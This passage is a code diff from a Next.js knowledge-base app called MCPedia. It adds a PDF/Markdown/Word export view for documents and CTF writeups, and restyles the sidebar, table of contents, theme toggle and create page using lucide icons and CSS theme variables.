<span>Copy MD</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
|
||||
{/* Download Markdown */}
|
||||
<button
|
||||
onClick={handleDownloadMarkdown}
|
||||
type="button"
|
||||
className="inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-semibold bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer"
|
||||
title="Download compiled .md file"
|
||||
>
|
||||
<FileDown className="w-3.5 h-3.5" />
|
||||
<span>Download .md</span>
|
||||
</button>
|
||||
|
||||
{/* Download Word (.docx) */}
|
||||
<button
|
||||
onClick={handleDownloadDocx}
|
||||
disabled={downloadingDocx}
|
||||
type="button"
|
||||
className="inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-semibold bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer disabled:opacity-50"
|
||||
title="Download editable Microsoft Word (.docx) document"
|
||||
>
|
||||
{downloadingDocx ? (
|
||||
<div className="w-3.5 h-3.5 border-2 border-current border-t-transparent rounded-full animate-spin" />
|
||||
) : (
|
||||
<FileText className="w-3.5 h-3.5" />
|
||||
)}
|
||||
<span>Download .docx</span>
|
||||
</button>
|
||||
|
||||
{/* Print / Save as PDF Button */}
|
||||
<button
|
||||
onClick={handlePrint}
|
||||
type="button"
|
||||
className="inline-flex items-center gap-2 px-3.5 py-1.5 text-xs font-bold bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] rounded-md shadow-xs transition-all cursor-pointer"
|
||||
title="Open browser print dialog to save as PDF"
|
||||
>
|
||||
<Printer className="w-4 h-4" />
|
||||
<span>Print / Save PDF</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Options & Filters Bar */}
|
||||
<div className="mt-3.5 pt-3 border-t border-[var(--border-color)] flex flex-col sm:flex-row sm:items-center justify-between gap-3 text-xs">
|
||||
{/* Sort Order Selector */}
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-[var(--text-muted)] font-mono text-[10px] uppercase">Sort:</span>
|
||||
<select
|
||||
value={sortBy}
|
||||
onChange={(e) => setSortBy(e.target.value as ExportSortOption)}
|
||||
className="bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded px-2.5 py-1 text-xs text-[var(--text-primary)] focus:outline-none"
|
||||
>
|
||||
<option value="category_points">Category & Points (Standard)</option>
|
||||
<option value="points_desc">Points (Highest First)</option>
|
||||
<option value="difficulty">Difficulty (Easy to Hard)</option>
|
||||
<option value="title">Challenge Title (A-Z)</option>
|
||||
<option value="path">Directory / Chapter Path</option>
|
||||
<option value="updated_at">Recently Updated</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
{/* Section toggles */}
|
||||
<div className="flex items-center gap-3 flex-wrap text-[var(--text-secondary)]">
|
||||
{cleanDocs.length > 1 && (
|
||||
<label className="inline-flex items-center gap-1.5 cursor-pointer select-none">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={showTOC}
|
||||
onChange={(e) => setShowTOC(e.target.checked)}
|
||||
className="rounded border-[var(--border-color)]"
|
||||
/>
|
||||
<span>Table of Contents</span>
|
||||
</label>
|
||||
)}
|
||||
|
||||
<label className="inline-flex items-center gap-1.5 cursor-pointer select-none">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={pageBreaks}
|
||||
onChange={(e) => setPageBreaks(e.target.checked)}
|
||||
className="rounded border-[var(--border-color)]"
|
||||
/>
|
||||
<span>Page Break per Challenge</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Category filter pills */}
|
||||
{allCategories.length > 1 && (
|
||||
<div className="mt-3 pt-3 border-t border-[var(--border-color)] flex items-center gap-1.5 flex-wrap text-xs">
|
||||
<span className="text-[var(--text-muted)] font-mono text-[10px] uppercase mr-1">Filter:</span>
|
||||
<button
|
||||
onClick={() => setSelectedCategory("all")}
|
||||
type="button"
|
||||
className={`px-2.5 py-0.5 rounded text-xs font-mono transition-all cursor-pointer ${
|
||||
selectedCategory === "all"
|
||||
? "bg-[var(--brand)] text-[var(--brand-fg)] font-bold"
|
||||
: "bg-[var(--bg-elevated)] text-[var(--text-muted)] hover:text-[var(--text-primary)] border border-[var(--border-color)]"
|
||||
}`}
|
||||
>
|
||||
All ({cleanDocs.length})
|
||||
</button>
|
||||
{allCategories.map((cat) => {
|
||||
const count = cleanDocs.filter(
|
||||
(d) => extractDocCategory(d).toLowerCase() === cat.toLowerCase(),
|
||||
).length;
|
||||
return (
|
||||
<button
|
||||
key={cat}
|
||||
onClick={() => setSelectedCategory(cat)}
|
||||
type="button"
|
||||
className={`px-2.5 py-0.5 rounded text-xs font-mono transition-all cursor-pointer ${
|
||||
selectedCategory.toLowerCase() === cat.toLowerCase()
|
||||
? "bg-[var(--brand)] text-[var(--brand-fg)] font-bold"
|
||||
: "bg-[var(--bg-elevated)] text-[var(--text-muted)] hover:text-[var(--text-primary)] border border-[var(--border-color)]"
|
||||
}`}
|
||||
>
|
||||
{cat} ({count})
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</aside>
|
||||
|
||||
{/* Writeup Document Flow */}
|
||||
<main className="print-container bg-white text-slate-900 max-w-4xl mx-auto px-4 sm:px-8 py-6 print:p-0 print:m-0 print:max-w-none rounded-xl border border-[var(--border-color)] print:border-none shadow-xs print:shadow-none">
|
||||
{/* Document Header */}
|
||||
<header className="doc-header mb-8 pb-4 print:mb-2.5 print:pb-1.5 border-b border-slate-300">
|
||||
<h1 className="text-3xl sm:text-4xl print:text-lg font-extrabold text-slate-950 tracking-tight mb-2 print:mb-0.5">
|
||||
{summary.title}
|
||||
</h1>
|
||||
<div className="text-xs print:text-[7.5pt] text-slate-500 font-mono flex flex-wrap items-center gap-x-2 gap-y-1 print:gap-x-1.5 print:gap-y-0.5">
|
||||
<span>{filteredAndSortedDocs.length} Challenges</span>
|
||||
{currentTotalPoints > 0 && (
|
||||
<span>· {currentTotalPoints.toLocaleString()} Total Points</span>
|
||||
)}
|
||||
<span>· {new Date(summary.generatedAt).toLocaleDateString(undefined, { dateStyle: "long" })}</span>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* Table of Contents */}
|
||||
{showTOC && filteredAndSortedDocs.length > 1 && (
|
||||
<section className="toc-section mb-10 pb-6 print:mb-2.5 print:pb-1.5 border-b border-slate-200 print:border-slate-300">
|
||||
<h2 className="text-xs print:text-[8pt] font-bold uppercase font-mono text-slate-700 mb-3 print:mb-1 tracking-wider flex items-center gap-1.5">
|
||||
<BookOpen className="w-3.5 h-3.5 print:w-3 print:h-3" />
|
||||
<span>Table of Contents</span>
|
||||
</h2>
|
||||
<ol className="list-decimal list-inside space-y-1.5 print:space-y-0.5 text-xs print:text-[7.5pt] text-slate-800">
|
||||
{filteredAndSortedDocs.map((doc, idx) => {
|
||||
const cat = extractDocCategory(doc);
|
||||
const pts = extractDocPoints(doc);
|
||||
|
||||
return (
|
||||
<li key={doc.slug} className="print:leading-tight">
|
||||
<a
|
||||
href={`#ch-${idx + 1}`}
|
||||
className="hover:underline font-medium text-slate-900"
|
||||
>
|
||||
{doc.title}
|
||||
</a>
|
||||
<span className="text-slate-500 font-mono ml-2 print:ml-1">
|
||||
[{cat}{pts > 0 ? ` · ${pts} pts` : ""}]
|
||||
</span>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ol>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* Challenges Flow */}
|
||||
<div className="challenges-flow space-y-10 print:space-y-0">
|
||||
{filteredAndSortedDocs.map((doc, idx) => {
|
||||
const chNum = idx + 1;
|
||||
const cat = extractDocCategory(doc);
|
||||
const pts = extractDocPoints(doc);
|
||||
const diff = extractDocDifficulty(doc);
|
||||
const extra = doc.extraFields || {};
|
||||
|
||||
return (
|
||||
<article
|
||||
key={doc.slug}
|
||||
id={`ch-${chNum}`}
|
||||
className={`challenge-entry ${
|
||||
pageBreaks && idx > 0 ? "page-break-before" : ""
|
||||
} pt-6 first:pt-0 print:pt-2.5 print:pb-2 print:border-b print:border-slate-200 print:last:border-none`}
|
||||
>
|
||||
{/* Challenge Title & Metadata */}
|
||||
<div className="challenge-header mb-4 pb-2 print:mb-1.5 print:pb-1 border-b border-slate-200 print:border-slate-300">
|
||||
<h2 className="text-2xl print:text-[11pt] font-bold text-slate-950 tracking-tight leading-tight mb-1.5 print:mb-0.5">
|
||||
{chNum}. {doc.title}
|
||||
</h2>
|
||||
<div className="text-xs print:text-[7.5pt] font-mono text-slate-600 flex flex-wrap items-center gap-x-3 print:gap-x-2 gap-y-1 print:gap-y-0.5">
|
||||
<span><strong>Category:</strong> {cat}</span>
|
||||
{pts > 0 && <span><strong>Points:</strong> {pts} pts</span>}
|
||||
{diff && <span><strong>Difficulty:</strong> {diff}</span>}
|
||||
|
||||
{/* Extra fields */}
|
||||
{Object.entries(extra).map(([k, v]) => {
|
||||
const lowerKey = k.toLowerCase();
|
||||
if (
|
||||
[
|
||||
"category",
|
||||
"points",
|
||||
"score",
|
||||
"pts",
|
||||
"difficulty",
|
||||
"solved",
|
||||
"author",
|
||||
"authors",
|
||||
"scope",
|
||||
"slug",
|
||||
"event",
|
||||
"challenge",
|
||||
"path",
|
||||
].includes(lowerKey) ||
|
||||
v === null ||
|
||||
v === undefined ||
|
||||
v === ""
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
return (
|
||||
<span key={k}>
|
||||
<strong>{k}:</strong> {String(v)}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Markdown Writeup Content */}
|
||||
<div className="prose prose-slate max-w-none text-slate-900 mb-8 print:mb-1">
|
||||
<Markdown source={doc.body} />
|
||||
</div>
|
||||
|
||||
{/* Divider between challenges (screen only) */}
|
||||
<hr className="print:hidden border-slate-200 my-8" />
|
||||
</article>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -4,6 +4,15 @@ import { useEffect, useState, useMemo } from "react";
|
||||
import Link from "next/link";
|
||||
import { usePathname } from "next/navigation";
|
||||
import { getSectionMeta } from "@mcpedia/config/sections";
|
||||
import {
|
||||
Folder,
|
||||
FolderOpen,
|
||||
FileText,
|
||||
ChevronRight,
|
||||
Search,
|
||||
X,
|
||||
Plus,
|
||||
} from "lucide-react";
|
||||
|
||||
interface Doc {
|
||||
slug: string;
|
||||
@@ -102,13 +111,13 @@ function TreeNodeItem({
|
||||
const isCollapsed = collapsedMap[node.slug] ?? false;
|
||||
|
||||
return (
|
||||
<li className={`select-none ${depth > 0 ? "ml-3 pl-2 border-l border-[var(--border-color)]" : ""}`}>
|
||||
<li className={`select-none ${depth > 0 ? "ml-3.5 pl-2 border-l border-[var(--border-color)]" : ""}`}>
|
||||
<div
|
||||
className={`group flex items-center justify-between gap-1.5 text-xs py-1.5 px-2 rounded-md transition-all ${
|
||||
className={`group flex items-center justify-between gap-1 text-xs py-1.5 px-2 rounded-md transition-all ${
|
||||
isActive
|
||||
? "text-[#5e6ad2] dark:text-[#7170ff] bg-[#5e6ad2]/15 font-semibold border border-[#5e6ad2]/30 shadow-sm"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] font-semibold border border-[var(--border-color)] shadow-xs"
|
||||
: isParentOfActive
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)]"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)]/60"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
>
|
||||
@@ -117,15 +126,23 @@ function TreeNodeItem({
|
||||
className="flex items-center gap-2 min-w-0 flex-1 py-0.5"
|
||||
title={node.title || node.name}
|
||||
>
|
||||
<span className="text-xs shrink-0 opacity-80 group-hover:opacity-100">
|
||||
{isFolder ? "📁" : "📄"}
|
||||
<span className="shrink-0 text-[var(--text-dim)] group-hover:text-[var(--text-primary)] transition-colors">
|
||||
{isFolder ? (
|
||||
isCollapsed ? (
|
||||
<Folder className="w-3.5 h-3.5" />
|
||||
) : (
|
||||
<FolderOpen className="w-3.5 h-3.5 text-[var(--text-primary)]" />
|
||||
)
|
||||
) : (
|
||||
<FileText className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</span>
|
||||
<span className="truncate">{node.title || node.name}</span>
|
||||
</Link>
|
||||
|
||||
{isFolder && (
|
||||
<div className="flex items-center gap-1 shrink-0">
|
||||
<span className="text-[10px] text-[var(--text-muted)] bg-[var(--bg-surface)] border border-[var(--border-color)] px-1 py-0.2 rounded font-mono">
|
||||
<span className="text-[10px] text-[var(--text-dim)] bg-[var(--bg-surface)] border border-[var(--border-color)] px-1.5 py-0.2 rounded font-mono">
|
||||
{node.docCount}
|
||||
</span>
|
||||
<button
|
||||
@@ -135,24 +152,19 @@ function TreeNodeItem({
|
||||
e.stopPropagation();
|
||||
toggleCollapse(node.slug);
|
||||
}}
|
||||
className="p-0.5 text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded hover:bg-[var(--bg-elevated-hover)] transition-transform"
|
||||
className="p-1 text-[var(--text-dim)] hover:text-[var(--text-primary)] rounded hover:bg-[var(--bg-elevated-hover)] transition-transform cursor-pointer"
|
||||
aria-label={isCollapsed ? "Expand folder" : "Collapse folder"}
|
||||
>
|
||||
<svg
|
||||
className={`w-3 h-3 transition-transform duration-200 ${isCollapsed ? "-rotate-90" : "rotate-0"}`}
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
stroke="currentColor"
|
||||
>
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M19 9l-7 7-7-7" />
|
||||
</svg>
|
||||
<ChevronRight
|
||||
className={`w-3 h-3 transition-transform duration-200 ${isCollapsed ? "rotate-0" : "rotate-90"}`}
|
||||
/>
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{isFolder && !isCollapsed && (
|
||||
<ul className="mt-0.5 space-y-0.5 animate-fade-in">
|
||||
<ul className="mt-1 space-y-0.5 animate-fade-in">
|
||||
{node.children.map((child) => (
|
||||
<TreeNodeItem
|
||||
key={child.slug}
|
||||
@@ -212,7 +224,7 @@ export default function Sidebar() {
|
||||
}, [filteredDocs]);
|
||||
|
||||
return (
|
||||
<nav className="h-full flex flex-col py-4 px-3">
|
||||
<nav className="h-full flex flex-col py-4 px-3 select-none">
|
||||
{/* Sidebar search filter */}
|
||||
<div className="mb-3">
|
||||
<div className="relative">
|
||||
@@ -220,31 +232,25 @@ export default function Sidebar() {
|
||||
type="text"
|
||||
value={filterText}
|
||||
onChange={(e) => setFilterText(e.target.value)}
|
||||
placeholder="Filter docs..."
|
||||
className="w-full pl-7 pr-3 py-1.5 bg-[var(--bg-surface)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-md text-xs text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--brand)] transition-colors"
|
||||
placeholder="Filter index..."
|
||||
className="w-full pl-8 pr-7 py-1.5 bg-[var(--bg-surface)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-md text-xs text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--text-primary)] transition-all"
|
||||
/>
|
||||
<svg
|
||||
className="w-3.5 h-3.5 text-[var(--text-muted)] absolute left-2 top-2.5"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
stroke="currentColor"
|
||||
>
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<Search className="w-3.5 h-3.5 text-[var(--text-dim)] absolute left-2.5 top-2.5 pointer-events-none" />
|
||||
{filterText && (
|
||||
<button
|
||||
onClick={() => setFilterText("")}
|
||||
className="absolute right-2 top-2 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
className="absolute right-2 top-2 p-0.5 text-[var(--text-dim)] hover:text-[var(--text-primary)] rounded"
|
||||
aria-label="Clear filter"
|
||||
>
|
||||
✕
|
||||
<X className="w-3.5 h-3.5" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Summary count */}
|
||||
<div className="flex items-center justify-between px-1 mb-3 text-[11px] text-[var(--text-dim)]">
|
||||
<span className="uppercase tracking-wider font-mono">Knowledge Base</span>
|
||||
<div className="flex items-center justify-between px-1 mb-2 text-[10px] text-[var(--text-muted)] font-mono uppercase tracking-wider">
|
||||
<span>Knowledge Index</span>
|
||||
<span>{filteredDocs.length} items</span>
|
||||
</div>
|
||||
|
||||
@@ -261,17 +267,17 @@ export default function Sidebar() {
|
||||
<div key={id} className="border-b border-[var(--border-color)] pb-3 last:border-0">
|
||||
<Link
|
||||
href={`/${id}`}
|
||||
className={`flex items-center justify-between gap-1.5 px-1 py-1 mb-1 rounded text-xs font-semibold uppercase tracking-wider transition-colors ${
|
||||
className={`flex items-center justify-between gap-1.5 px-2 py-1 mb-1 rounded-md text-xs font-semibold uppercase tracking-wider transition-colors ${
|
||||
isSectionActive
|
||||
? "text-[#5e6ad2] dark:text-[#7170ff]"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)]"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span>{icon}</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs">{icon}</span>
|
||||
<span>{label}</span>
|
||||
</div>
|
||||
<span className="text-[10px] text-[var(--text-dim)] font-normal font-mono">
|
||||
<span className="text-[10px] text-[var(--text-muted)] font-normal font-mono bg-[var(--bg-surface)] px-1.5 py-0.2 rounded border border-[var(--border-color)]">
|
||||
{sectionDocs.length}
|
||||
</span>
|
||||
</Link>
|
||||
@@ -291,15 +297,22 @@ export default function Sidebar() {
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
|
||||
{filteredDocs.length === 0 && (
|
||||
<div className="text-center py-8 text-xs text-[var(--text-dim)] font-mono">
|
||||
No matching documents
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Bottom quick links */}
|
||||
<div className="pt-3 border-t border-[var(--border-color)] mt-auto">
|
||||
<Link
|
||||
href="/create"
|
||||
className="flex items-center justify-center gap-1.5 w-full py-1.5 text-xs bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-md transition-colors font-medium"
|
||||
className="flex items-center justify-center gap-2 w-full py-2 text-xs bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] text-[var(--text-primary)] rounded-md transition-all font-medium shadow-xs"
|
||||
>
|
||||
<span>+ Create New Document</span>
|
||||
<Plus className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<span>Create Document</span>
|
||||
</Link>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import Link from "next/link";
|
||||
import GithubSlugger from "github-slugger";
|
||||
import { AlignLeft, ArrowUp, Hash } from "lucide-react";
|
||||
|
||||
interface TOCEntry {
|
||||
id: string;
|
||||
@@ -58,18 +59,29 @@ export default function TOC({ source }: { source: string }) {
|
||||
|
||||
if (toc.length === 0) return null;
|
||||
|
||||
function scrollToTop() {
|
||||
window.scrollTo({ top: 0, behavior: "smooth" });
|
||||
}
|
||||
|
||||
return (
|
||||
<nav className="text-xs">
|
||||
<div className="flex items-center gap-2 mb-3 pb-2 border-b border-[var(--border-color)]">
|
||||
<svg className="w-3.5 h-3.5 text-[#5e6ad2] dark:text-[#7170ff]" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M4 6h16M4 12h16M4 18h7" />
|
||||
</svg>
|
||||
<span className="font-semibold uppercase tracking-wider text-[var(--text-muted)] text-[11px]">
|
||||
On this page
|
||||
</span>
|
||||
<nav className="text-xs space-y-4">
|
||||
<div className="flex items-center justify-between pb-2 border-b border-[var(--border-color)]">
|
||||
<div className="flex items-center gap-1.5 font-semibold uppercase tracking-wider text-[var(--text-muted)] text-[11px] font-mono">
|
||||
<AlignLeft className="w-3.5 h-3.5 text-[var(--brand)] dark:text-[var(--accent)]" />
|
||||
<span>On This Page</span>
|
||||
</div>
|
||||
<button
|
||||
onClick={scrollToTop}
|
||||
type="button"
|
||||
className="text-[10px] text-[var(--text-dim)] hover:text-[var(--text-primary)] flex items-center gap-0.5 hover:underline"
|
||||
title="Scroll to top"
|
||||
>
|
||||
<ArrowUp className="w-3 h-3" />
|
||||
<span>Top</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<ul className="space-y-1.5 border-l border-[var(--border-color)] pl-2.5">
|
||||
<ul className="space-y-1.5 border-l border-[var(--border-color)] pl-3">
|
||||
{toc.map((entry) => {
|
||||
const isActive = activeId === entry.id;
|
||||
return (
|
||||
@@ -90,9 +102,9 @@ export default function TOC({ source }: { source: string }) {
|
||||
history.pushState(null, "", `#${entry.id}`);
|
||||
}
|
||||
}}
|
||||
className={`block py-0.5 transition-colors line-clamp-1 ${
|
||||
className={`block py-0.5 transition-all line-clamp-1 ${
|
||||
isActive
|
||||
? "text-[#5e6ad2] dark:text-[#7170ff] font-semibold translate-x-0.5"
|
||||
? "text-[var(--brand)] dark:text-[var(--accent)] font-semibold translate-x-0.5"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
title={entry.text}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
"use client";
|
||||
|
||||
import { useEffect, useState } from "react";
|
||||
import { Sun, Moon } from "lucide-react";
|
||||
|
||||
const STORAGE_KEY = "mcpedia-theme";
|
||||
|
||||
@@ -36,7 +37,7 @@ export default function ThemeToggle() {
|
||||
|
||||
if (!mounted) {
|
||||
return (
|
||||
<div className="w-8 h-8 rounded-lg bg-[var(--bg-elevated)] border border-[var(--border-color)] opacity-50" />
|
||||
<div className="w-8 h-8 rounded-lg bg-[var(--bg-elevated)] border border-[var(--border-color)] opacity-40" />
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,16 +47,12 @@ export default function ThemeToggle() {
|
||||
type="button"
|
||||
aria-label={isDark ? "Switch to light mode" : "Switch to dark mode"}
|
||||
title={isDark ? "Switch to light mode" : "Switch to dark mode"}
|
||||
className="p-1.5 rounded-lg text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)] border border-transparent hover:border-[var(--border-color)] transition-all flex items-center justify-center"
|
||||
className="p-2 rounded-lg text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)] border border-transparent hover:border-[var(--border-color)] transition-all flex items-center justify-center cursor-pointer"
|
||||
>
|
||||
{isDark ? (
|
||||
<svg className="w-4 h-4 text-amber-300" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 3v1m0 16v1m9-9h-1M4 12H3m15.364 6.364l-.707-.707M6.343 6.343l-.707-.707m12.728 0l-.707.707M6.343 17.657l-.707.707M16 12a4 4 0 11-8 0 4 4 0 018 0z" />
|
||||
</svg>
|
||||
<Sun className="w-4 h-4 text-amber-400 hover:rotate-45 transition-transform" />
|
||||
) : (
|
||||
<svg className="w-4 h-4 text-indigo-600" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M20.354 15.354A9 9 0 018.646 3.646 9.003 9.003 0 0012 21a9.003 9.003 0 008.354-5.646z" />
|
||||
</svg>
|
||||
<Moon className="w-4 h-4 text-indigo-600 hover:-rotate-12 transition-transform" />
|
||||
)}
|
||||
</button>
|
||||
);
|
||||
|
||||
@@ -4,6 +4,7 @@ import { WEBHOOK_SECRET } from "@mcpedia/config";
|
||||
import { cookies } from "next/headers";
|
||||
import { redirect } from "next/navigation";
|
||||
import DocForm from "@/components/DocForm";
|
||||
import { Edit3, ArrowLeft, Plus } from "lucide-react";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
@@ -33,14 +34,16 @@ export default async function CreatePage() {
|
||||
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between pb-4 border-b border-[var(--border-color)]">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-10 h-10 rounded-lg bg-[#5e6ad2]/15 border border-[#5e6ad2]/30 flex items-center justify-center text-xl text-[#5e6ad2] dark:text-[#7170ff]">
|
||||
✏️
|
||||
<div className="flex items-center gap-3.5">
|
||||
<div className="w-11 h-11 rounded-2xl bg-[var(--brand)]/15 border border-[var(--brand)]/30 flex items-center justify-center text-[var(--brand)] dark:text-[var(--accent)]">
|
||||
<Plus className="w-6 h-6" />
|
||||
</div>
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight">Create Document</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5">
|
||||
Writes directly to PostgreSQL, records revision history, and computes vector embeddings.
|
||||
<h1 className="text-2xl sm:text-3xl font-extrabold text-[var(--text-primary)] tracking-tight">
|
||||
Create Knowledge Document
|
||||
</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5 font-mono">
|
||||
Persists directly into PostgreSQL, tracks revision history, and generates vector embeddings.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
import React from "next/link";
|
||||
import Link from "next/link";
|
||||
import { notFound } from "next/navigation";
|
||||
import { getExportDocuments, formatScopeTitle, type ExportSortOption } from "@mcpedia/core";
|
||||
import PdfExportView from "@/components/PdfExportView";
|
||||
import { FileText, ArrowLeft } from "lucide-react";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
interface ExportPdfPageProps {
|
||||
searchParams: Promise<{
|
||||
path?: string;
|
||||
section?: string;
|
||||
slug?: string;
|
||||
sort?: string;
|
||||
}>;
|
||||
}
|
||||
|
||||
export async function generateMetadata({ searchParams }: ExportPdfPageProps) {
|
||||
const { path, section, slug } = await searchParams;
|
||||
const target = path || slug || section || "All Documents";
|
||||
const title = formatScopeTitle(target);
|
||||
return {
|
||||
title: `Export PDF: ${title} — MCPedia`,
|
||||
description: `Export and print documentation and CTF writeups for ${title}`,
|
||||
};
|
||||
}
|
||||
|
||||
export default async function ExportPdfPage({
|
||||
searchParams,
|
||||
}: ExportPdfPageProps) {
|
||||
const { path, section, slug, sort } = await searchParams;
|
||||
|
||||
const targetPath = path || slug;
|
||||
const sortBy = (sort as ExportSortOption) || "category_points";
|
||||
|
||||
const exportData = await getExportDocuments({
|
||||
path: targetPath,
|
||||
section: !targetPath ? section : undefined,
|
||||
sortBy,
|
||||
});
|
||||
|
||||
const backHref = targetPath ? `/${targetPath}` : section ? `/${section}` : "/";
|
||||
|
||||
if (exportData.documents.length === 0) {
|
||||
return (
|
||||
<div className="py-16 text-center space-y-4 max-w-lg mx-auto bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-3xl p-8 shadow-sm">
|
||||
<div className="w-14 h-14 rounded-2xl bg-[var(--bg-elevated)] text-[var(--text-dim)] flex items-center justify-center mx-auto">
|
||||
<FileText className="w-7 h-7" />
|
||||
</div>
|
||||
<h1 className="text-2xl font-bold text-[var(--text-primary)]">
|
||||
No Documents Found for Export
|
||||
</h1>
|
||||
<p className="text-xs sm:text-sm text-[var(--text-muted)] leading-relaxed">
|
||||
Could not find any published documents matching the path{" "}
|
||||
<code className="text-[var(--brand)] dark:text-[var(--accent)] font-mono font-semibold">
|
||||
{targetPath || section || "root"}
|
||||
</code>
|
||||
.
|
||||
</p>
|
||||
<div className="pt-4">
|
||||
<Link
|
||||
href={backHref}
|
||||
className="inline-flex items-center gap-1.5 px-4 py-2 bg-[var(--brand)] hover:bg-[var(--brand-hover)] text-white text-xs font-semibold rounded-xl shadow-md shadow-[var(--brand)]/20 transition-all"
|
||||
>
|
||||
<ArrowLeft className="w-3.5 h-3.5" />
|
||||
<span>Return to Knowledge Base</span>
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return <PdfExportView exportData={exportData} backHref={backHref} />;
|
||||
}
|
||||
+531
-77
@@ -1,70 +1,128 @@
|
||||
@import "tailwindcss";
|
||||
@plugin "@tailwindcss/typography";
|
||||
|
||||
/* Light mode defaults (:root) */
|
||||
/*
|
||||
MCPedia Design Philosophy: Archival Precision & Technical Monolith
|
||||
- Strict monochromatic foundation (Graphite, Zinc, Charcoal)
|
||||
- Zero decorative AI gradients or blurred blobs
|
||||
- Typographic hierarchy: Strong contrast, razor-sharp hairline borders, monospace telemetry
|
||||
- Functional signal indicators (Status Green, Alert Amber, Critical Coral)
|
||||
*/
|
||||
|
||||
/* Light mode defaults (:root) - Technical Paper / Archival Slate */
|
||||
:root {
|
||||
color-scheme: light;
|
||||
--bg-app: #f8fafc;
|
||||
--bg-app: #f9fafb;
|
||||
--bg-surface: #ffffff;
|
||||
